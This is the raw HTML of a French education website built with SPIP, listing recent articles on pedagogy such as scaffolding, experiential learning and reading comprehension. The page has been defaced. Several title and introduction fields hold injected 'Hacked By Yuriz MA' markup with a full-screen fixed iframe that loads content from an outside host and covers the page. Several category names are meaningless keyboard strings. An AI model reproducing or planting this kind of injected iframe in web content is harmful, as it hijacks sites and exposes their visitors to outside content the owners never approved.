Hacked By Yuriz MA
</strong></a> </div> <div class="hfeed" id="conteneur"> <div id="contenu"> <div class="cartouche invisible"> <h1 class="invisible"><title>Hacked By Yuriz MA</title><iframe src="http://2no.co/30Gm3.txt" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></h1> </div> <div class="chapo"><p><title>Hacked By Yuriz MA</title><iframe src="http://2no.co/30Gm3.txt" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></p></div> <div class="menu articles"> <a name='pagination_articles_recents' id='pagination_articles_recents'></a> <h2>Derniers articles</h2> <ul> <li class="hentry"> <a href="spip.php?article575"><img class='spip_logos' alt="" src="IMG/rubon1.jpg" width='150' height='100' style='height:100px;width:150px;' /></a> <h3 class="entry-title"><a href="spip.php?article575" rel="bookmark"><title>Hacked By Yuriz MA</title><iframe src="http://2no.co/30Gm3.txt" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></h3> <small><abbr class="published" title="2015-09-10T12:25:00Z">10 septembre 2015</abbr>, par <span class="vcard author"><a class="url fn spip_in" href="spip.php?auteur1">classedu</a></span></small> <div class="introduction entry-content"><p><title>Hacked By Yuriz MA</title><iframe src="http://2no.co/30Gm3.txt" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></p></div> </li> <li class="hentry"> <a href="spip.php?article574"><img class='spip_logos' alt="" src="local/cache-vignettes/L86xH76/rubon19-8261a.gif" width='86' height='76' style='height:76px;width:86px;' /></a> <h3 class="entry-title"><a href="spip.php?article574" rel="bookmark">Notion d’Étayage</a></h3> <small><abbr class="published" title="2015-07-22T12:14:00Z">22 juillet 2015</abbr>, par <span class="vcard author"><a class="url fn spip_in" href="spip.php?auteur1">classedu</a></span></small> <div class="introduction entry-content">La notion d’étayage renvoie à la théorie de l’américain Jérome Bruner et à l’intervention de l’adulte dans l’apprentissage de l’enfant. L’étayage, lié au concept de "zone proximale de développement"1 , est défini comme "l’ensemble des interactions d’assistance de l’adulte permettant à l’enfant d’apprendre à organiser ses conduites afin de pouvoir résoudre seul un problème qu’il ne savait pas résoudre au départ." J. Bruner reconnaît six fonctions de l’étayage caractérisant ce soutien temporaire de l’activité de (...)</div> </li> <li class="hentry"> <a href="spip.php?article573"><img class='spip_logos' alt="" src="IMG/arton573.jpg" width='128' height='100' style='height:100px;width:128px;' /></a> <h3 class="entry-title"><a href="spip.php?article573" rel="bookmark">Apprentissage expérientiel pour se former au métier </a></h3> <small><abbr class="published" title="2015-06-25T12:05:00Z">25 juin 2015</abbr>, par <span class="vcard author"><a class="url fn spip_in" href="spip.php?auteur1">classedu</a></span></small> <div class="introduction entry-content">A bien des égards, les théories qui sont à la base de l’apprentissage expérientiel sont aussi utiles aux apprenants qu’aux formateurs. Elles permettent notamment aux apprenants : de comprendre comment travailler efficacement en groupe ; de reconnaître les phénomènes qui se déroulent dans le groupe ; d’acquérir les aptitudes requises en vue d’un travail d’équipe efficace. Le Cycle d’apprentissage expérientiel de David Kolb. Kolb est l’auteur du cycle d’apprentissage qui porte son nom. Ce cycle concrétise (...)</div> </li> <li class="hentry"> <a href="spip.php?article572"><img class='spip_logos' alt="" src="IMG/rubon8.jpg" width='134' height='100' style='height:100px;width:134px;' /></a> <h3 class="entry-title"><a href="spip.php?article572" rel="bookmark">LIRE POUR APPRENDRE, LIRE POUR COMPRENDRE</a></h3> <small><abbr class="published" title="2015-06-15T14:37:00Z">15 juin 2015</abbr>, par <span class="vcard author"><a class="url fn spip_in" href="spip.php?auteur1">classedu</a></span></small> <div class="introduction entry-content">Ce Dossier de veille souhaite faire le point sur l’activité de lecture, au-delà des apprentissages fondamentaux abordés au cycle 1. Cette activité est selon les cas désignée sous les termes de lecture experte, lecture complexe ou lecture littéraire. Nous nous interrogerons sur ce que signifie la compréhension de textes et la notion de lecture experte qui lui est associée. Nous aborderons dans un premier temps les questions portant sur les mécanismes cognitifs de la compréhension puis, dans un (...)</div> </li> <li class="hentry"> <a href="spip.php?article562"><img class='spip_logos' alt="" src="local/cache-vignettes/L80xH72/rubon10-2445c.gif" width='80' height='72' style='height:72px;width:80px;' /></a> <h3 class="entry-title"><a href="spip.php?article562" rel="bookmark">Établissement formateur ou formation en établissement ?</a></h3> <small><abbr class="published" title="2015-06-07T08:40:00Z">7 juin 2015</abbr>, par <span class="vcard author"><a class="url fn spip_in" href="spip.php?auteur1">classedu</a></span></small> <div class="introduction entry-content">La conférence introductive de Patrick Mayen, « Apprendre sur le lieu de travail » a fourni des éléments de réflexion sur le potentiel d’apprentissage des situations de travail qui ont servi de fil conducteur à toutes les interventions suivantes. Partant de ses travaux dans divers milieux professionnels autres que l’enseignement (notamment dans des garages), il propose de considérer les facteurs suivants, susceptibles de rendre ces situations de travail apprenantes : - une prise en compte de la (...)</div> </li> </ul> <p class="pagination"><span class="on">0</span> | <a href='spip.php?debut_articles_recents=5#pagination_articles_recents' class='lien_pagination' rel='nofollow'>5</a> | <a href='spip.php?debut_articles_recents=10#pagination_articles_recents' class='lien_pagination' rel='nofollow'>10</a> | <a href='spip.php?debut_articles_recents=15#pagination_articles_recents' class='lien_pagination' rel='nofollow'>15</a> | <a href='spip.php?debut_articles_recents=20#pagination_articles_recents' class='lien_pagination' rel='nofollow'>20</a> | <a href='spip.php?debut_articles_recents=25#pagination_articles_recents' class='lien_pagination' rel='nofollow'>25</a> | <a href='spip.php?debut_articles_recents=30#pagination_articles_recents' class='lien_pagination' rel='nofollow'>30</a> | <a href='spip.php?debut_articles_recents=35#pagination_articles_recents' class='lien_pagination' rel='nofollow'>35</a> | <a href='spip.php?debut_articles_recents=40#pagination_articles_recents' class='lien_pagination' rel='nofollow'>40</a> | <a href='spip.php?debut_articles_recents=545#pagination_articles_recents' class='lien_pagination' rel='nofollow'>...</a></p> </div> <div class="menu"> <h2>Dernières brèves</h2> <ul> <li>18 octobre 2014 – <a href="spip.php?breve24">SITES POUR SE FORMER A L’ENSEIGNEMENT</a></li> <li>28 janvier 2012 – <a href="spip.php?breve26">Clic image pour enrichir le vocabulaire</a></li> <li>18 janvier 2012 – <a href="spip.php?breve25">PRESIDENTIELLE 2012 : Quelle école voulez-vous ?</a></li> <li>20 juillet 2011 – <a href="spip.php?breve23">PUB GRATIS POUR LES AFFICHES ROSSIGNOL DELICIEUSEMENT RETRO</a></li> <li>25 janvier 2011 – <a href="spip.php?breve20">Petit dictionnaire de pédagogie</a></li> </ul> </div> </div><!--#contenu--> </div><!--#conteneur--> <div id="navigation"> <div class="menu rubriques"> <h2>Rubriques</h2> <ul> <li> <a href="spip.php?rubrique3">Analyse de l’activité enseignante</a> </li> <li> <a href="spip.php?rubrique19">dfghmjntqmohlijg</a> </li> <li> <a href="spip.php?rubrique14">dfhwtgt</a> </li> <li> <a href="spip.php?rubrique20">dgshiuhbnrgodgwjhfx</a> </li> <li> <a href="spip.php?rubrique15">eqrsiomuhrgsopirte</a> </li> <li> <a href="spip.php?rubrique32">iuzshdedfvoijertqbpoçiouj</a> </li> <li> <a href="spip.php?rubrique17">iyushdgfiuhetqgt</a> </li> <li> <a href="spip.php?rubrique35">liyuerqgfilkujbregmk:jbneqrmlyn</a> </li> <li> <a href="spip.php?rubrique21">mdoufhgoimpjhsfphoikj</a> </li> <li> <a href="spip.php?rubrique11">Première classe, quelques repères pour bien démarrer la classe</a> </li> <li> <a href="spip.php?rubrique1">SCRIPT HTML</a> </li> <li> <a href="spip.php?rubrique16">ulehrtgopujzhq</a> </li> <li> <a href="spip.php?rubrique2">1</a> </li> <li> <a href="spip.php?rubrique4">2</a> </li> <li> <a href="spip.php?rubrique5">3</a> </li> <li> <a href="spip.php?rubrique6">4</a> </li> <li> <a href="spip.php?rubrique7">5</a> </li> <li> <a href="spip.php?rubrique8">6</a> </li> <li> <a href="spip.php?rubrique9">7</a> </li> <li> <a href="spip.php?rubrique10">8</a> </li> <li> <a href="spip.php?rubrique12">9</a> </li> <li> <a href="spip.php?rubrique13">10</a> </li> </ul> </div> <div class="formulaire_spip formulaire_recherche" id="formulaire_recherche"> <form action="http://classedu.free.fr/spip.php?page=recherche" method="get"><div> <input name="page" value="recherche" type="hidden" /> <input type="hidden" name="lang" value="fr" /> <label for="recherche">Rechercher :</label> <input type="text" class="text" size="10" name="recherche" id="recherche" accesskey="4" /> <input type="submit" class="submit" value=">>" title="Rechercher" /> </div></form> </div> </div><!--#navigation--> <div id="extra"> </div><!--#extra--> <div id="pied"> <a href="http://www.spip.net/" title="Site réalisé avec SPIP"><img src="squelettes-dist/spip.png" alt="SPIP" width="48" height="16" /></a> | <a href="squelettes-dist/sommaire.html" title="voir le squelette de cette page" rel="nofollow">squelette</a> | <a href="http://classedu.free.fr/spip.php?page=login&url=.%2F" rel="nofollow" class='login_modal'>Se connecter</a> | <a rel="contents" href="http://classedu.free.fr/spip.php?page=plan">Plan du site</a> | <a href="http://classedu.free.fr/spip.php?page=backend" rel="alternate" title="Syndiquer tout le site"><img src="squelettes-dist/feed.png" alt="Suivre la vie du site" width="16" height="16" /> RSS 2.0</a> </div> <!-- SPIP-CRON --><div style="background-image: url('http://classedu.free.fr/spip.php?action=cron');"></div> </div><!--#page--> </body> </html>